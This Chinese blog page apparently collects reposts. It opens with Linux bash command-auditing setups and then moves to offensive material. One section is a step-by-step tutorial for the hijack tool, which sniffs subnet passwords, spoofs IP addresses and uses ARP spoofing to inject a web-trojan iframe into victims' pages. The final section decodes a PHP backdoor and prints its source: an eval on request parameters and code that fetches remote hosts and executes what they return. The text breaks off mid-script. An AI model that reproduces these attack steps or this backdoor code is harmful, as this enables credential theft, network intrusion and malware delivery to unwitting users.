Make enable

这时会在/usr/local/lib目录下创建个snoopy.so,并在/etc/ld.so.preload里加入/usr/local/lib/snoopy.so

在linux 64位系统下需要重点注意,不能完全按照README的来执行,如果直接按照32位的方法来,将会在执行32位程序时报错:

ERROR: ld.so: object '/usr/local/lib/snoopy.so' from /etc/ld.so.preload cannot be preloaded: ignored.

我们需要编译两个版本的snoopy,一个放在/usr/local/lib下,一个放在/usr/local/lib64下

这可以通过修改源码里的Makefile,32位版本的Makefile里修改CFLAGS,在后面添加-m32,意思就是编译32位的程序,执行make&&make install,32位版本的snoopy.so将存放在/usr/local/lib下;

64位版本修改Makefile,LIBDIR=${exec_prefix}/lib64 ,执行make&&make install,64位版本的snoopy.so将存放在/usr/local/lib64下

最后我们在/etc/ld.so.preload加入/usr/local/$LIB/snoopy.so,意思就是自动寻找32位的so文件和64位的so文件

 

这时我们已经可以在本地记录下登录到系统的用户执行的所有命令,但是这还不够,我们需要一个集中日志服务器,这里我们使用syslog-ng,通过这个日志服务器将所有需要审计的服务器的日志同步过来,linux shell审计的任务就此完成。

完善linux bash操作记录审核方法

发布时间:May 1, 2015 // 分类:运维工作,工作日志,VC/C/C++,linux,转帖文章 // No Comments

linux工作的同事一般都了解过bash历史记录的问题,我们之前的做法是通过修改bash源码,把历史记录发送到syslog/var/log/messages这个文件里面,再在syslog配置文件里面加入 *.* @Ip发送到远程日志服务器上面。期间有经历过一些多多少少的bug之类的,比如我们是通过keyroot权限登录服务器的,记录的时候可能一条操作记录同时记录到几个人的key,普通用户记录的问题,特别是最近解决的一个严重bug:不能记录远程ssh执行的命令,比如 ssh ip “pwd” 我们记录不到这个pwd命令!在比较空闲时候通过n多的测试,这些都解决了。我们一步一步说起:

先来几个效果图:

正常情况下登录,然后执行命令是这个效果:

远程ssh过来执行命令时候是这个效果:

中间那个ip是远程过来的ip,在本机执行了pwd这个命令,user值就是我们要得到的

远程scp复制的日志是这个效果:

 

为了bash能记录到操作记录,我们修改源码:

config-top.h文件里面把#define SYSLOG_HISTORY这个宏定义打开,修改bashhist.c里面的内容:

701行左右修改稿bash_syslog_history函数,修改完之后内容:

void
bash_syslog_history (line)
     const char *line;
{
  char trunc[SYSLOG_MAXLEN];
     const char *p; 
     p = getenv("NAME_OF_KEY");
  if (strlen(line) < SYSLOG_MAXLEN)
    syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY: PID=%d PPID=%d SID=%d  User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(getpid()),  cu
rrent_user.user_name, p, line);
  else
    {   
      strncpy (trunc, line, SYSLOG_MAXLEN);
      trunc[SYSLOG_MAXLEN - 1] = '\0';
      syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY (TRUNCATED): PID=%d  PPID=%d SID=%d User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(
getpid()), current_user.user_name, p, trunc); 
    }   
}

我们这里定义的是NAME_OF_KEY这个变量,即bash记录的操作记录是这个人操作的,稍后我们要做的就是怎么得到NAME_OF_KEY这个变量。

接下来要做的就是编译bash

./configure –prefix=/usr/local/bash_4.1
make
make install

echo ‘/usr/local/bash_4.1/bin/bash’ >> /etc/shells

然后把/etc/passwd里面定义的/bin/bash全部指向/usr/local/bash_4.1/bin/bash这个我们编译的bash

这样重新登录,在messages里面就有了bash打出的log了,只是NAME_OF_KEY这个变量是空的,我们只知道是root执行的,但不知道具体是谁执行的,我们可以通过在登录时候在~/.ssh/authorized_keys这个文件里面找到自己的key,最后一列定义好自己的名字,然后赋值给NAME_OF_KEY就可以了,实现方法是打开sshd登录的debug日志,在/etc/ssh/sshd_config 这个文件里面加入LogLevel DEBUG,保存重启sshd服务即可,这样会在/var/log/secure里面打印出登录过程,我们需要的是Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0c这样类似的日志,这样匹配到了rsakey指纹,然后我们用系统里面加入好的.ssh/authorized_keys这个文件里面的key做对比就知道是哪个key登录的,我们取最后一列的注释即可(.ssh/authorized_keys里面的格式最后一列想对于一个注释,我们加key的时候把具体名字写好)。以前是通过登录的时间和登录的ip来得到匹配的Found matching RSA key这一行,但是问题来了,我们办公网如果有两个人同时登录的话,就有bug了,得到了几个key。。bug,我们继续探讨。

有什么可以决定用户登录系统的唯一指标而且又很容易得到呢?id号,我们登录系统,就会产生一个bash进程,可以通过echo $$得到,这个进程就可以判断这个时候登录用户的唯一性,我们匹配到这个进程idkey,然后取最后一位就可以了。但是也有特殊情况,如果是root用户登录的话,日志里面记录的(sshd[16322]: Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0csshd这里的进程号就是bash进程id,果不是root用户,验证指纹的是另外一个进程号,经测试,发现如果是普通用户的话,这个进程号得通过ps去匹配就可以了。

实现办法:

/etc/profile 里面加入下面这段,让用户每次登录都要加载:

pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

这样我们基本实现了messages里面记录日志的功能,但久了就会发现远程执行的时候这个是无效的,我们另外下办法。

经多次测试,发现远程执行时候,执行的命令会放在BASH_EXECUTION_STRING这个变量里面,所以我们可以把这个变量打入到日志里面,再加好NAME_OF_KEY这个变量就可以了。实现方法:

先判断是否为空test -z “$BASH_EXECUTION_STRING” ,如果发现这个值不为空就通过logger这个命令直接发日志就可以了logger -t -bash -s “HISTORY $SSH_CLIENT USER=$ NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1 ,这里的-t是制定和之前bash记录那样有关-bash的前缀,但是现在没有NAME_OF_KEY这个变量值,原因是之前我们放在/etc/profile文件,远程执行时候是不加载那个文件的,现在我们更改一下位置,把之前那个分离出来,我这里是放在/etc/bash_4399这个文件里面,然后在/etc/bashrc里面加入:

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

这样就完美解决了。

 

虽然是完美解决了,但是在centos 5系列上面才完美,在6系列上面问题就出来了,他不加载/etc/bashrc这个文件。想办法。。man sshd仔细找帮助,发现LOGIN PROCESS这段有些内容:

When a user successfully logs in, sshd does the following:

其中有一条Reads the file ~/.ssh/environment,看来6系列的也会去价值这个文件,测试在这个文件里面加入a=a ,然后远程查看,确实有这个变量值,看来把之前那个判断NAME_OF_KEY 的加在这个文件里面就可以了,看似是可以的,其实不然,这个只是赋值型的加载,并不支持命令,比如a=`pwd`,结果变量a的内容是`pwd`,并不是pwd的执行结果。崩溃。另外下办法。。对比5系列和6系列的系统,发现openssh版本上升了一个大版本,现在怀疑是系统或者openssh版本或者bash版本问题,测试。。在5系列编译6系列的openssh版本,发现失效了,6系列编译5系列的openssh版本居然可以了,看来就是openssh版本问题。解决办法?

下载源码,看看有没有发现opensshbash结合地方的一些可疑地方。n久也只发现sshconnect.c里面有点点猫腻,但是都失败了,后来在bash的源码发现shell.c里面有一些no_rc之类的定义(static int no_rc; /* Don’t execute ~/.bashrc */),看来就是这些变量的问题,结果下面n长又是一团糟。发现下面有个定义相似的变量

/* get the rshd/sshd case out of the way first. */
  if (interactive_shell == 0 && no_rc == 0 && login_shell == 0 && 
      act_like_sh == 0 && command_execution_string)
    {    
#ifdef SSH_SOURCE_BASHRC
      run_by_ssh = (find_variable ("SSH_CLIENT") != (SHELL_VAR *)0) ||
                   (find_variable ("SSH2_CLIENT") != (SHELL_VAR *)0);
#else
      run_by_ssh = 0; 
#endif
 
      /* If we were run by sshd or we think we were run by rshd, execute
         ~/.bashrc if we are a top-level shell. */

google发现了这个含义:

只要编译前在`config-top.h`中定义` SSH_SOURCE_BASHRC`,那么尽管Bash在被sshd fork出来的时候加上了`-c`选项,也确实是non-login non-interactive shell,只要发现`SSH_CLIENT`或者`SSH2_CLIENT`环境变量存在,就仍然会依次载入`SYS_BASHRC``~/.bashrc`文件。”

很切题,就是这个了。马上在原来改过的源码上面继续改,取消了 SSH_SOURCE_BASHRC这个宏定义的注释,重新编译,果然生效了,这些远程登录会加载~/.bashrc这个变量了。继续完善结论:

远程ssh执行命令加入日志方法:

6系列机器:

在原先更改过bash源码的基础上,在源码根目录config-top.h文件里面再加入#define SSH_SOURCE_BASHRC(原先有这个值,只是注释掉了),然后重新编译bash 

5系列和6系列机器把原先/etc/profile里面的从pid=$PPID开始到/bin/rm /tmp/key.log.$pid这段剪切到/etc/bash_4399,在/etc/profile加入. /etc/bash_4399,再统一在/etc/bashrc里面加入test -z “$BASH_EXECUTION_STRING” || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s “HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1;}

 

这样就完成了远程执行命令的ssh记录

为了让记录发送到远程服务器上面,我们在syslog里面加内容:

5系列是在 /etc/syslog.conf

6系列是在/etc/rsyslog.conf

里面加入 *.* @IP

重启syslog或者rsyslog服务就可以了,远程日志服务器自己搭建~

 

总结最后修改内容:

修改bash源码。

在最原始的/etc/profile里面加入

 test -f /etc/bash_4399 && ./etc/bash_4399
 
/etc/bash_4399 那个文件内容:
pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

/etc/bashrc追加一行

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

Linux审计功能实现的两种实现方式:由于当前网络安全很问题很突出,黑客们又都很强大,不怕外患,像小公司不足被黑客盯住,就怕内忧,历史记录怎么能少呢?linux系统本身虽然提供了历史命令的记录功能(记录在:~/.bash_history),默认也能记录1000条之多,但是容易被清除,依然不安全,所以需要采取别的方式记录下服务器操作的日志,这样"坏蛋"将无处可遁,下面将介绍两种简单的实现方式:

第一种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

HISTSIZE=1000
HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT
export HISTORY_FILE=/var/log/audit.log
export PROMPT_COMMAND='{ thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logMonth=${whoStr[2]};logDay=${whoStr[3]};logTime=${whoStr[4]};pid=${whoStr[6]};ip=${whoStr[7]};if [ ${thisHistID}x != ${lastHistID}x ];then echo -E `date "+%Y/%m/%d %H:%M:%S"` $user\($realUser\)@$ip[PID:$pid][LOGIN:$logMonth $logDay $logTime] --- $lastCommand ;lastHistID=$thisHistID;fi; } >> $HISTORY_FILE'

#然后便可查看是否生效了呢?

[root@test2 ~]# cat /var/log/audit.log
2015/04/14 14:18:42 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/09 09:22:57 cat /etc/sysctl.conf
2015/04/14 14:19:16 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:16 cd /usr/local/nginx/conf/sites-enabled/
2015/04/14 14:19:17 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:17 ll
2015/04/14 14:19:27 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:27 cat awstats.conf
2015/04/14 14:21:04 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:21:04 cat /etc/profile


第二种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

function log2syslog{
declare command
command=$(fc -ln -0)
logger -p local1.notice -t bash -i — $SSH_CLIENT :$USER : $command
}
trap log2syslog DEBUG
[root@test2 u1]# tail -f -n100 /var/log/messages
Aug 16 18:22:36 test2 bash[4460]: — 192.168.101.116 63383 22 :root : vim /etc/profile

第二种方式目前有一个缺陷就是每次记录的命令,同一条会出现多次,这是待完善的地方。
#哈哈,就算"坏蛋"执行了history -c命令,他的犯罪记录也不会被抹杀掉的,这就叫做"要想人不知,除非己莫为",不要当坏蛋哦~~~

带ARP欺骗攻击的渗透利刃--hijack

发布时间:April 30, 2015 // 分类:工作日志,运维工作,转帖文章,windows // No Comments

ARP欺骗攻击在内网渗透中的作用是极大的,因此这里介绍一个具有ARP欺骗功能的渗透小工具hijack。这个小巧但功能强大的工具,具备各种强大的功能,可以进行远程渗透入侵。

1.上传hijack,安装嗅探组件

hijack解压后,里面有3个文件:"hijack.exe"、"winpcap.exe"和"old.exe"。其中"hijack.exe"和"winpcap.exe"是必需的。前者是程序主文件,后者是嗅探所需Winpcap数据包的自解压版本。

首先,攻击者要将hijack上传到远程主机上,可以使用远程控制木马或溢出Shell窗口进行上传,如图8-67所示。这里选择上传到C盘根目录下。

返回到远程命令控制窗口中,执行命令:

  1. dir c:\hijack.exe 

如果显示文件,则表示上传文件成功。然后执行"c:\winpcap.exe"命令,会自动解压所需的嗅探组件到系统目录下,如图8-68所示。

 
(点击查看大图)图8-67  通过木马Shell上传hijack
 
(点击查看大图)图8-68  安装winpcap嗅探协议包

在使用"hijack.exe"工具进行渗透入侵前,必须安装winpcap组件,否则会弹出错误提示,如图8-69所示。

 
(点击查看大图)图8-69  错误提示

2.查获远程网络信息

入侵控制的主机,可能是单独的一台主机,也可能位于某个网络中;主机上可能只安装了一块网卡,也可能安装了多块网块--全面地了解远程主机上的网络信息是进一步渗透入侵攻击前所必需的。

在远程控制木马的命令控制窗口中,执行命令:

  1. hijack /L 

可以看到远程主机上网卡的设备名、IP地址、MAC物理地址和子网掩码等各种网络信息,如图8-70所示。其中,比较重要的是"idx"列显示的信息,也就是网卡索引号。如果是单网卡,那么网卡索引号为1。

现在要扫描远程主机子网中所有的主机IP地址,命令格式为:

  1. hijack exe -d 网卡索引号 /s 

由于是单网卡,可以直接执行命令:

  1. hijack -d 1 /s 

可以从远程主机所在的子网中扫描并显示所有主机的IP地址,以及其网卡的MAC物理地址。这里可以看到,在子网中有3台主机,如图8-71所示。

 
(点击查看大图)图8-70  查看服务器网络信息
 
(点击查看大图)图8-71  扫描远程内部网络

3.嗅探子网主机的密码

在进行渗透入侵时,嗅探具有非常重要的作用,尤其是在入侵网站服务器网络时。利用嗅探,可以获得子网中其他主机的管理员密码,或者是网站登录密码、邮箱或FTP登录密码等。

1)嗅探数据库的密码

例如,控制网站服务器主机内网的IP地址是"192.168.1.8",在子网中另一台主机的IP地址是"192.168.1.10",该主机是网站的数据库服务器。攻击者想获得数据库的连接密码,可以嗅探主机"192.168.1.6"的所有网络连接数据。

在远程控制木马的命令控制窗口中,执行嗅探命令(见图8-72):

 
(点击查看大图)图8-72  嗅探主机密码

 

  1. hijack -d 1 -O pass.log 192.168.1.*  
  2.     192.168.1.10 

该命令可以嗅探所有"192.168.1.*"网段的主机与数据库服务器"192.168.1.6"之间的网络信息数据,并从中捕获密码,保存在"pass.log"文件中。

也可以直接使用如下命令:

  1. hijack -d 1 -O pass.log 192.168.1.*  192.168.1.1 

嗅探所有主机与网关服务器之间的数据交换,从而获得其登录密码并直接从外网登录网关。

以上命令,只是进行单向嗅探,我们也可以添加参数"-f"进行双向嗅探,命令格式如下:

  1. hijack -d 1 -f -O pass.log 192.168.1.*  192.168.1.10 

另外,我们也可以设置嗅探指定协议的密码,如嗅探FTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.*  
    192.168.1.10 "USER|PASS" "tcp and dst port 21" 

要嗅探常见的HTTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.* 
    192.168.1.10 "
    username=|password=" "tcp  and dst port 80" 

8.4.3 带ARP欺骗攻击的渗透利刃--hijack(2)

2)查看嗅探数据

执行了后台嗅探后,嗅探的结果会保存在远程主机上。显示嗅探结果的命令为:

  1. hijack.exe -I pass.log 

执行命令后,就可以看到嗅探记录文件中保存的所有嗅探数据了,如图8-73所示,通过分析查看即可获得密码。

 
(点击查看大图)图8-73  显示嗅探结果

3)IP地址欺骗攻击,突破内网连接限制

通过前面嗅探到的密码可以进行远程连接,以控制子网中的其他主机。但是这些子网中的主机,往往通过防火墙或其他方式设置了连接限制,只允许与指定IP地址的主机进行连接,此时可以通过hijack的IP地址欺骗功能来渗透入侵连接受限制的主机。

这里假设在子网内某台计算机公网的IP地址为"202.98.198.33",该主机设置了IP地址限制,只允许IP地址"202.98.198.77"访问,而攻击者本机的IP地址是"202.172.68.12",如果想入侵这台连接受制限的主机,可以执行命令(见图8-74):

  1. hijack -d 1 -z 202.98.198.33 202.98.198.
    1 202.172.68.12 202.98.198.77 
 
(点击查看大图)图8-74  IP地址欺骗

其中,"202.98.198.1"是该网段的网关IP。执行该命令后,攻击者就可以突破IP地址限制,连接上原本受限制的主机了。

4)ARP欺骗攻击

在渗透入侵攻击中,如果无法进行嗅探,或者难以突破内网与外网,那么ARP欺骗攻击就可以大显身手了。hijack的ARP欺骗攻击可以在子网内其他主机与网关的数据交换中,任意添加修改网络数据,以达到挂马攻击的目的。

例如,已经有了一个网页木马,地址为"http://www.binghexijian.com/1.htm",要想让子网中的其他主机,在浏览任何网页时都被网页木马攻击,可以进行如下的ARP欺骗攻击操作。

(1)编写规则文件。打开记事本,编写如下内容的文本文件:

  1. ----  
  2. HTML> 
  3. ----  
  4. <iframe src=http://www.binghexijian.com/1.
    htm 
    width=0 height=0>iframe>HTML> 

将文件保存为"job.txt",然后上传到远程主机与hijack所在的文件夹下,该文件作为ARP欺骗规则文件。

(2)实施ARP欺骗攻击。在远程命令控制窗口中,执行如下命令(见图8-75):

 
(点击查看大图)图8-75  成功进行ARP欺骗攻击
  1. hijack -d 1 -v -p 80 -S 100 -F job.txt  
  2.     192.168.1.1 192.168.1.* 

命令执行后即可对子网内的所有主机进行ARP欺骗攻击了。当子网中的所有主机访问任意网页时,能够正常打开网页。但是,网页中会被嵌入网页木马,从而被木马攻击。

除了上面的攻击实例外,hijack还可以进行HTTP会话捕获、DNS欺骗、网速限制和跨网段欺骗等强大的渗透攻击功能,我们可以直接执行"hijack -h"命令来查看其详细的命令帮助信息。

 

下载地址

对某个脚本进行的php解密

发布时间:April 27, 2015 // 分类:PHP,运维工作,linux,代码学习 // No Comments

晚上客户反映服务器最近流量有些异常,于是就去查看服务器日志,为了自身方便,写了一个文件来查询

<?php
$ua_file = "ua.txt";
 
$ua_data = date("Y/m/d H:i:s")."----".$_SERVER['REMOTE_ADDR']."\n";
$ua_data = $ua_data."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_USER_AGENT']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_REFERER']."\n";
$ua_data = $ua_data."\n";
 
$ffff = fopen($ua_file, 'a');  
fwrite($ffff, $ua_data);  
fclose($ffff);
?>

可是其中的一请求的文件引起了我的注意,直接打开看看~

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;
$call = sprintf('%s_%s_%s',A,B,C);
$create = sprintf('%s_%s',D,E);
$file = sprintf('%s_%s_%s',F,F1,F2);
$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
$call($create(null,$p(T,$file($p(T,join(null,$t))))));
?>

于是随手解密了下,发现函数的原型是这样子的

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;  //pack
//明显的对函数进行拼接
$call = sprintf('%s_%s_%s',A,B,C); //call_user_func  调用自定义的函数
$create = sprintf('%s_%s',D,E);    //create_function  创建自定义函数
$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取

$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
​//join(null,$t) join() 函数把数组元素组合为一个字符串
call_user_func(create_function(null,pack(H*,file_get_contents(H*,join(null,$t)))));
?>

其中的join(null,$t)得到的是

687474703a2f2f646f646f646f6d652e73696e616170702e636f6d2f676574636f64652e7068703f63616c6c3d636f6465

然后$p(T,join(null,$t));的到的结果是

http://dododome.sinaapp.com/getcode.php?call=code

那么一目了然了,从http://dododome.sinaapp.com/getcode.php?call=code读取到的东西,经过pack解码,然后直接调用

//<?php
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 KingBin All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: KingBin ooooooo.oooo.ooooooo@foxmail.com 
// +----------------------------------------------------------------------
error_reporting(0);
define('KING_SELF', basename($_SERVER["SCRIPT_FILENAME"]));
define('IS_WIN', 'win' == substr(strtolower(PHP_OS), 0, 3));
defined('mamashuoanquangoushigehenrongyiguodedashaguaruanjian') or define('mamashuoanquangoushigehenrongyiguodedashaguaruanjian', 'demo');
date_default_timezone_set('asia/shanghai');
//新增过狗验证
if(defined('iphp'))
  define('_pass_',iphp);
else
  define('_pass_',mamashuoanquangoushigehenrongyiguodedashaguaruanjian);
//结束
if (!isset($_SESSION)) {
    session_start();
}

function init() {
    remote_e();
    header("Content-type:text/html;charset=utf-8");
    session();
    //update();
    $do = new king;
    $do->start();
}

function remote_e() {
    $pass = $_REQUEST['pass'];
    $e = $_REQUEST['e'];
    if ($pass == _pass_) {
        if ($e)
            eval($e);
        die;
    }
}

function _getcwd() {
    return $_SESSION['dirpath'] . '/';
}

function kill($process) {
    $wmi = new COM("Winmgmts:/root/cimv2");
    $data = $wmi->ExecQuery(sprintf("SELECT * FROM Win32_Process Where Name='%s'", $process));
    foreach ($data as $v) {
        $v->Terminate();
    }
}

function session() {
    $sessid = empty($_COOKIE[session_name()]) ? $_COOKIE[session_name()] : null;
    if ($sessid)
        session_id($sessid);
}

function update() {
    $code = "<?php
session_start();
define('version','v2');
define('pp', '{pass}');
if(isset(\$_SESSION['k'])){
  \$k = \$_SESSION['k'];
}else{
  \$_SESSION['k'] = pack('H*',file_get_contents(pack('H*','687474703a2f2f66696c652e6865696c6979752e636f6d2f676574636f64652e7068703f63616c6c3d636f6465')));
  \$k = \$_SESSION['k'];
}
call_user_func(create_function(null,\$k));
?>
";

    $pass =  _pass_;
    $contents = str_replace('{pass}', $pass, $code);
    if (!defined('version') || version != 'v2') {
        file_put_contents(KING_SELF, $contents);
            //header('location:' . KING_SELF);
    }
}

function I($name) {
    return $_REQUEST[$name];
}

//已经废弃
function _king($key) {
    $opts = array('http' => array('method' => 'GET', 'timeout' => 10));

    $context = stream_context_create($opts);

    if (isset($_SESSION['code'])) {
        $code = bin::decode($_SESSION['code'], $key);
    } else {
        $_SESSION['code'] = $GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']
                                        ('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key)), false, $context);
        $code = $GLOBALS['s']('%s', @bin::decode($_SESSION['code'], $key));
    }
    //这里很重要针对5.3 以上匿名优化
    $GLOBALS['c']($GLOBALS['e'](false, $code));
}

//end
function css() {
    $code = <<< css
    <style>
    input{font:11px Verdana;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px 30px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{padding: 10px 10px;border: #000 solid;color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;border:#000 solid;}
    #login{display:none;}
    body{font:14px Arial,Tahoma;line-height:16px;margin:0;padding:0;}
    h1{display: block;font-size: 32px;font-weight: bold;font-family:none;}
    .not_found{margin:20px 20px;}
    .not_found p{font-family:none;font: 14px Arial,Tahoma;line-height: 16px;}
    in{border:1px;}
    .red{color:#FF0085;}
    #base2 .input{width:260px;}
    .hide{display:none;}
    .showfile {font-size: 16px;line-height: 28px;}
    </style>
css;
    return $code;
}

function js() {
    $code = <<< js
    <script>
     (function() {
    
    function _key() {
        $(document).keydown(function(e) {
            var key = (e.keyCode) || (e.which) || (e.charCode);
            if (key == 80) {
                $(".not_found").hide();
                $("#login").show();
            }
        });
    }
    
    function error(msg, element, speed) {
        speed = speed || "3000";
        //setTimeout('$(element).show("slow")',speed);
        $(element).show();
